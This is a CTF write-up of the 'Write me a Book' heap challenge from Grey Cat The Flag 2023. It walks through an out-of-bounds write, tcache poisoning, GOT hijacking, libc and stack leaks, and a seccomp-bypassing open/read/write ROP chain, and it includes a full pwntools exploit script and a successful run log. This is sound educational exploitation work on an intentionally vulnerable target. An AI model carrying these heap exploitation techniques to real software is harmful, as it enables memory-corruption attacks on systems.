[Grey Cat CTF Quals 2023 - pwn] Write me a Book

pwn
3k words

Write me a book

Write me a Book
349

Give back to the library! Share your thoughts and experiences!

The flag can be found in /flag

Elma

nc 34.124.157.94 12346

Write me a book is a heap challenge I did during the Grey Cat The Flag 2023 Qualifiers. You can find the tasks and the exploit here.

TL;DR

To manage to read the flag we have to:

  • create overlapping chunks due to an oob write vulnerability in rewrite_books
  • tcache poisoning thanks to the overlapping chunks
  • Overwrite the first entry of @books to then be able to rewrite 4 entries of @books by setting a large size.
  • With the read / write primitives of @books we leak &stdout@glibc and environ, this way getting a libc and stack leak.
  • This way we can simply ROP over a given stackframe.

General overview

Let’s take a look at the protections and the version of the libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ checksec --file ./libc.so.6
[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

So a very recent one with standards protections. Then let’s take a look at the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ checksec --file chall
[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'
$ seccomp-tools dump ./chall
Welcome to the library of hopes and dreams!

We heard about your journey...
and we want you to share about your experiences!

What would you like your author signature to be?
> aa

Great! We would like you to write no more than 10 books :)
Please feel at home.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

The binary isn’t PIE based and does have a seccomp that allows only read, write, open and exit. Which will make the exploitation harder (but not that much).

Code review

The main looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("Welcome to the library of hopes and dreams!");
puts("\nWe heard about your journey...");
puts("and we want you to share about your experiences!");
puts("\nWhat would you like your author signature to be?");
printf("> ");
LODWORD(author_signature) = ' yb';
__isoc99_scanf("%12s", (char *)&author_signature + 3);
puts("\nGreat! We would like you to write no more than 10 books :)");
puts("Please feel at home.");
secure_library();
write_books();
return puts("Goodbye!");
}

We have to give a signature (12 bytes max) sorted in author_signatures, then the program is allocating a lot of chunks in secure_library. Finally it calls write_books which contains the main logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
unsigned __int64 write_books()
{
int choice; // [rsp+0h] [rbp-10h] BYREF
int fav_num; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
print_menu();
__isoc99_scanf("%d", &choice);
getchar();
if ( choice != 1337 )
break;
if ( !secret_msg )
{
printf("What is your favourite number? ");
__isoc99_scanf("%d", &fav_num);
if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )
printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);
secret_msg = 1;
}
LABEL_19:
puts("Invalid choice.");
}
if ( choice > 1337 )
goto LABEL_19;
if ( choice == 4 )
return v3 - __readfsqword(0x28u);
if ( choice > 4 )
goto LABEL_19;
switch ( choice )
{
case 3:
throw_book();
break;
case 1:
write_book();
break;
case 2:
rewrite_book();
break;
default:
goto LABEL_19;
}
}
}

There are basically three handlers:

  • 1337, we can leak only one time the address of a given allocated chunk.
  • 4 returns.
  • 3 free a chunk.
  • 1 add a book.
  • 2 edit a book.

Let’s take a quick look at each handler, first the free handler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 throw_book()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("\nAt which index of the shelf would you like to throw your book?");
printf("Index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )
{
free(slot[2 * --v1]);
slot[2 * v1] = 0LL;
puts("Your book has been thrown!\n");
}
else
{
puts("Invaid slot!");
}
return v2 - __readfsqword(0x28u);
}

It only checks is the entry exists and if the index is in the right range. if it does it frees the entry and zeroes it.

Then, the add handler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 write_book()
{
int idx2; // ebx
_QWORD *v1; // rcx
__int64 v2; // rdx
int idx; // [rsp+4h] [rbp-4Ch] BYREF
size_t size; // [rsp+8h] [rbp-48h]
char buf[32]; // [rsp+10h] [rbp-40h] BYREF
char v7; // [rsp+30h] [rbp-20h]
unsigned __int64 v8; // [rsp+38h] [rbp-18h]

v8 = __readfsqword(0x28u);
puts("\nAt which index of the shelf would you like to insert your book?");
printf("Index: ");
__isoc99_scanf("%d", &idx);
getchar();
if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )
{
puts("Invaid slot!");
}
else
{
--idx;
memset(buf, 0, sizeof(buf));
v7 = 0;
puts("Write me a book no more than 32 characters long!");
size = read(0, buf, 0x20uLL) + 0x10;
idx2 = idx;
slot[2 * idx2] = malloc(size);
memcpy(slot[2 * idx], buf, size - 0x10);
v1 = (char *)slot[2 * idx] + size - 0x10;
v2 = qword_4040D8;
*v1 = *(_QWORD *)author_signature;
v1[1] = v2;
books[idx].size = size;
puts("Your book has been published!\n");
}
return v8 - __readfsqword(0x28u);
}

We can allocate a chunk between 0x10 and 0x20 + 0x10 bytes and after we wrote in it the signature initially choose at the begin of the execution is put right after the end of the input.

Finally comes the handler where lies the vuln, the edit handler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 rewrite_book()
{
_QWORD *v0; // rcx
__int64 v1; // rdx
int idx; // [rsp+Ch] [rbp-14h] BYREF
ssize_t v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
puts("\nAt which index of the shelf would you like to rewrite your book?");
printf("Index: ");
__isoc99_scanf("%d", &idx);
getchar();
if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )
{
--idx;
puts("Write me the new contents of your book that is no longer than what it was before.");
v4 = read(0, slot[2 * idx], books[idx].size);
v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);
v1 = qword_4040D8;
*v0 = author_signature;
v0[1] = v1;
puts("Your book has been rewritten!\n");
}
else
{
puts("Invaid slot!");
}
return v5 - __readfsqword(0x28u);
}

As you can read there is an out of bound write if we input books[idx].size bytes, indeed given the chunk stores only books[idx].size bytes the signature writes over the current chunk. And most of the time on the header (and especially the size) of the next chunk allocated in memory resulting an overlapping chunk.

Exploitation

Given we can get overlapping chunks we’re able to do tcache poisoning on the 0x40 tcachebin (to deeply understand why I advice you to read the exploit and to run it into gdb). At this point we can simply write the first entry of @books that is stored at a fixed memory area within the binary (no PIE). In this new entry we could write a pointer to itself but with a large size in order to be able to write several entries of @books. When it is done we could write these entries:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
edit(1, pwn.flat([
# 1==
0xff, # sz
exe.sym.stdout, # to leak libc
# 2==
0x8, # sz
exe.got.free, # to do GOT hiijacking
# 3==
0x8, # sz
exe.sym.secret_msg, # to be able to print an entry of @books
# 4==
0xff, # sz
exe.sym.books # ptr to itself to be able to rewrite the entries when we need to do so
] + [0] * 0x60, filler = b"\x00"))

This way we can easily leak libc.

Leaking libc

Leaking libc is very easy given we already setup the entries of @books. We can replace free@GOT by puts@plt. This way the next time free will be called on an entry, it will leak the datas towards which the entry points. Which means free(book[1]) leaks the address of stdout within the libc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
STDOUT = 0x21a780

# [...]

def libc_leak_free(idx):
io.sendlineafter(b"Option: ", b"3")
io.sendlineafter(b"Index: ", str(idx).encode())
return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT

# [...]

# libc leak
libc.address = libc_leak_free(1)
pwn.log.success(f"libc: {hex(libc.address)}")

Leaking the stack

Leaking the libc is cool but given the binary has a seccomp we cannot write one_gadgets on __malloc_hook or __free_hook or within the GOT (of the libc or of the binary) because of the seccomp. We have to do a ROPchain, to do so we could use setcontext but for this libc it is made around rdx that we do not control. Or we could simply leak environ to get the address of a stackframe from which we could return. That’s what we gonna do on the rewrite_books stackframe.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def leak_environ(idx):
io.sendlineafter(b"Option: ", b"3")
io.sendlineafter(b"Index: ", str(idx).encode())
return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))

# leak stack (environ)
edit(4, pwn.flat([
# 1==
0xff, # sz
libc.sym.environ # target
], filler = b"\x00"))

environ = leak_environ(1)
pwn.log.success(f"environ: {hex(environ)}")

stackframe_rewrite = environ - 0x150
pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")

ROPchain

Everything is ready for the ROPchain, we cannot use mprotect to use a shellcode within the seccomp forbids it. We just have to set the first entry to the stackframe we’d like to hiijack and that’s it, then we just need call edit on this entry and the ROPchain is written and triggered at the return of the function!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
rop = pwn.ROP(libc, base=stackframe_rewrite)

# setup the write to the rewrite stackframe
edit(4, pwn.flat([
# 1==
0xff, # sz
stackframe_rewrite # target
], filler = b"\x00"))

# ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
rop.call(rop.find_gadget(["syscall", "ret"]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")

print(rop.dump())
print(hex(len(rop.chain()) - 8))

# write and trigger the ROPchain
edit(1, rop.chain())

PROFIT

Finally:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
nasm@off:~/Documents/pwn/greycat/writemeabook/dist$ python3 exploit.py REMOTE HOST=34.124.157.94 PORT=12346
[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'
[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 34.124.157.94 on port 12346: Done
[+] heap: 0x81a000
[*] Encrypted fp: 0x40484d
[+] libc: 0x7f162182f000
[+] environ: 0x7ffe60582c98
[+] stackframe_rewrite: 0x7ffe60582b48
[*] Loaded 218 cached gadgets for '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6'
0x7ffe60582b48: 0x7f1621874eb0 pop rax; ret
0x7ffe60582b50: 0x2 SYS_open
0x7ffe60582b58: 0x7f162185ae51 pop rsi; ret
0x7ffe60582b60: 0x0 O_RDONLY
0x7ffe60582b68: 0x7f16218593e5 pop rdi; ret
0x7ffe60582b70: 0x7ffe60582c28 (+0xb8)
0x7ffe60582b78: 0x7f16218c0396 syscall; ret
0x7ffe60582b80: 0x7f16218bf528 pop rax; pop rdx; pop rbx; ret
0x7ffe60582b88: 0x0 SYS_read
0x7ffe60582b90: 0x100
0x7ffe60582b98: b'uaaavaaa' <pad rbx>
0x7ffe60582ba0: 0x7f162185ae51 pop rsi; ret
0x7ffe60582ba8: 0x81a000
0x7ffe60582bb0: 0x7f16218593e5 pop rdi; ret
0x7ffe60582bb8: 0x3
0x7ffe60582bc0: 0x7f16218c0396 syscall; ret
0x7ffe60582bc8: 0x7f16218bf528 pop rax; pop rdx; pop rbx; ret
0x7ffe60582bd0: 0x1 SYS_write
0x7ffe60582bd8: 0x100
0x7ffe60582be0: b'naaboaab' <pad rbx>
0x7ffe60582be8: 0x7f162185ae51 pop rsi; ret
0x7ffe60582bf0: 0x81a000
0x7ffe60582bf8: 0x7f16218593e5 pop rdi; ret
0x7ffe60582c00: 0x1
0x7ffe60582c08: 0x7f16218c0396 syscall; ret
0x7ffe60582c10: 0x7f16218593e5 pop rdi; ret
0x7ffe60582c18: 0x1337 [arg0] rdi = 4919
0x7ffe60582c20: 0x7f16218745f0 exit
0x7ffe60582c28: b'/flag\x00' b'/flag\x00'
0xde
[*] Switching to interactive mode
Your book has been rewritten!

grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb9\x81\x00\x00\x00\xb8\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x81\x00\x00\x00\x00\x00\x00\x00\xc0\x81\x00\[*] Got EOF while reading in interactive
$ exit
$
[*] Closed connection to 34.124.157.94 port 12346
[*] Got EOF while sending in interactive

Conclusion

That was a nice medium heap challenge, even though that was pretty classic. You can find the tasks and the exploit here.

Annexes

Final exploit (with comments):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn

BINARY = "chall"
LIBC = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6"
LD = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2"

# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = ["tmux", "splitw", "-h"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8 = pwn.p8
u8 = pwn.u8

host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io


def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)


gdbscript = '''
source /home/nasm/Downloads/pwndbg/gdbinit.py
'''.format(**locals())

HEAP_OFFT = 0x3d10
CHUNK3_OFFT = 0x3d50
STDOUT = 0x21a780

def encode_ptr(heap, offt, value):
return ((heap + offt) >> 12) ^ value

import subprocess
def one_gadget(filename):
return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def exp():

io = start()

def init(flip):
io.sendlineafter(b"> ", flip)

def add(idx, data: bytes):
io.sendlineafter(b"Option: ", b"1")
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendlineafter(b"Write me a book no more than 32 characters long!\n", data)

def edit(idx, data):
io.sendlineafter(b"Option: ", b"2")
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendlineafter(b"Write me the new contents of your book that is no longer than what it was before.\n", data)

def free(idx):
io.sendlineafter(b"Option: ", b"3")
io.sendlineafter(b"Index: ", str(idx).encode())

def heapLeak(idx):
io.sendlineafter(b"Option: ", b"1337")
io.sendlineafter(b"What is your favourite number? ", str(idx).encode())
io.recvuntil(b"You found a secret message: ")
return int(io.recvline().replace(b"\n", b"").decode(), 16) - HEAP_OFFT

def enable_print(idx):
edit(idx, b"".join([
pwn.p64(0)
]))

def libc_leak_free(idx):
io.sendlineafter(b"Option: ", b"3")
io.sendlineafter(b"Index: ", str(idx).encode())
return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT

def leak_environ(idx):
io.sendlineafter(b"Option: ", b"3")
io.sendlineafter(b"Index: ", str(idx).encode())
return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))

init(b"m"*4 + pwn.p8(0x41))

add(1, b"K"*0x10)
heap_leak = heapLeak(1)
pwn.log.success(f"heap: {hex(heap_leak)}")

# victim
add(2, b"")
add(3, b"".join([ b"A"*0x10,
pwn.p64(0), # prev_sz
pwn.p64(0x21) # fake size
]))

add(4, b"".join([ b"A"*0x10,
pwn.p64(0), # prev_sz
pwn.p64(0x21) # fake size
]))
free(4) # count for 0x40 tcachebin = 1

# chunk2 => sz extended
edit(1, b"K"*0x20)
# chunk2 => tcachebin 0x40, count = 2
free(2)

# oob write over chunk3, we keep valid header
add(2, b"".join([ pwn.p64(0)*3,
pwn.p64(0x41) # valid size to end up in the 0x40 tcache bin
])) # count = 1

# chunk3 => 0x40 tcachebin, count = 2
free(3)

pwn.log.info(f"Encrypted fp: {hex(encode_ptr(heap_leak, CHUNK3_OFFT, exe.got.printf))}")

# tcache poisoning
edit(2, b"".join([ pwn.p64(0)*3,
pwn.p64(0x41), # valid size
pwn.p64(encode_ptr(heap_leak, CHUNK3_OFFT, exe.sym.books)) # forward ptr
]))

# dumb
add(3, b"A"*0x20) # count = 1

# arbitrary write to @books, this way books[1] is user controlled
add(4, b"".join([
pwn.p64(0x1000), # sz
pwn.p64(exe.sym.books), # target
b"P"*0x10
])) # count = 0

# we can write way more due to the previous call
edit(1, pwn.flat([
# 1==
0xff, # sz
exe.sym.stdout, # target
# 2==
0x8, # sz
exe.got.free, # target
# 3==
0x8, # sz
exe.sym.secret_msg, # target
# 4==
0xff, # sz
exe.sym.books # target
] + [0] * 0x60, filler = b"\x00"))

# free@got => puts
edit(2, b"".join([
pwn.p64(exe.sym.puts)
]))

# can print = true
enable_print(3)

# libc leak
libc.address = libc_leak_free(1)
pwn.log.success(f"libc: {hex(libc.address)}")

# leak stack (environ)
edit(4, pwn.flat([
# 1==
0xff, # sz
libc.sym.environ # target
], filler = b"\x00"))

environ = leak_environ(1)
pwn.log.success(f"environ: {hex(environ)}")

stackframe_rewrite = environ - 0x150
pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")

rop = pwn.ROP(libc, base=stackframe_rewrite)

# setup the write to the rewrite stackframe
edit(4, pwn.flat([
# 1==
0xff, # sz
stackframe_rewrite # target
], filler = b"\x00"))

# ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
rop.call(rop.find_gadget(["syscall", "ret"]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")

print(rop.dump())
print(hex(len(rop.chain()) - 8))

# write and trigger the ROPchain
edit(1, rop.chain())

io.interactive()

if __name__ == "__main__":
exp()